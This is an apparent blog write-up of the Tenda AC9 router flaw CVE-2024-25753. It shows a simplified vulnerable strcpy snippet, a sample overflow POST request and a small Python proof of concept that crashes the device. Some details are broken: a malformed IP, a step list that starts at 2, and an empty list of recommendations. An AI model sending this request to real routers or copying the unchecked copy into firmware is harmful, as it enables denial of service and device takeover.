In early 2024, security researchers discovered a critical vulnerability—CVE-2024-25753—in the Tenda AC9 v3. wireless router, specifically targeting the firmware version v.15.03.06.42_multi. This flaw enables remote attackers to execute arbitrary code by exploiting a stack-based buffer overflow in the formSetDeviceName function, possibly leading to full device takeover.

In this deep dive, we'll break down what this vulnerability is, how the exploit works, view some example code, and discuss what it means for Tenda AC9 users.

What Is CVE-2024-25753?

CVE-2024-25753 is a stack-based buffer overflow vulnerability found in the router's web management interface. The flaw resides in the formSetDeviceName function, which handles requests to set the device's name through the router's web page. If a user submits a device name that's too long, the function doesn't properly check the length before copying it to a fixed-size buffer in memory. This classic programming mistake allows an attacker to overwrite critical regions of memory, including the return address, enabling remote code execution.

How Does the Exploit Work?

The vulnerable formSetDeviceName function is responsible for updating the device's name, which is stored in the device configuration. It's meant to accept a user-supplied string from a POST request field called deviceName.

Here's what goes wrong

- The function uses the C function strcpy or similar to copy the user input directly into a fixed-size buffer (e.g., 64 bytes) on the stack.
- There is no length checking or truncation, so if you send more than 64 bytes, the router writes past the end of the buffer, corrupting the stack.
- With careful crafting, an attacker can overwrite the return address, making the router execute code of their choice (like a shellcode payload).

Vulnerable Code Snippet (Simplified for Clarity)

> Note: This is a simplified version based on reverse engineering and public analysis.

void formSetDeviceName(char *deviceName) {
    char buf[64];            // Fixed-size buffer
    strcpy(buf, deviceName); // No length check!
    saveDeviceName(buf);     // Updates the config
}

An HTTP request like this

POST /goform/formSetDeviceName HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded

deviceName=AAAAAAAAAAAAAAAAAAAAAAAAAAAA...[100 'A's]...

will cause the strcpy to write far beyond the 64-byte buffer, triggering a stack overflow.

Exploit Example

Warning: This is for responsible research purposes only. Do not use on devices you do not own.

Send a POST request to the vulnerable endpoint with an overlong deviceName value.

2. Carefully craft the payload so that it overwrites the function's return address with the address of their shellcode (or a ROP chain).
3. Gain code execution on the router—could lead to malware installation, persistent backdoors, etc.

Exploit Code (Python)

Here’s a minimal Python proof-of-concept exploit. This one just crashes the router (DoS), but a skilled attacker could include more dangerous payloads.

import requests

target_ip = "192.168..1"
url = f"http://{target_ip}/goform/formSetDeviceName";

# 200 'A's to overflow the buffer and crash/overwrite
payload = "A" * 200

data = {"deviceName": payload}

try:
    response = requests.post(url, data=data)
    print("Status:", response.status_code)
    print("Response:", response.text)
except Exception as e:
    print("Couldn't connect:", e)

References & Further Reading

- Original Security Advisory (Exploit-DB)
- CVE Details Page for CVE-2024-25753
- SecurityFocus BugTraq entry
- Full Disclosure mailing list post

If you want to dig further, check out Firmware Analysis Tutorials by FIRMADYNE.

What Should You Do?

If you're running a Tenda AC9 v3. with firmware v.15.03.06.42_multi, update your firmware immediately if a patched version is available. If not, consider:

Final Thoughts

CVE-2024-25753 is a perfect example of how simple code mistakes—like forgetting to check input length—can lead to catastrophic device compromise. The widespread use of the Tenda AC9 router means that potentially thousands of networks are at risk until vendors patch this bug.

If you’re a developer working on embedded systems or router firmware, always validate and limit user input. For everyone else, keep your router firmware updated and avoid exposing admin interfaces to the internet.


*This article is an exclusive, simplified breakdown. Adaptation and public sharing are welcome, but please credit the original research and sources.*

Timeline

Published on: 02/22/2024 23:15:07 UTC
Last modified on: 08/01/2024 13:47:51 UTC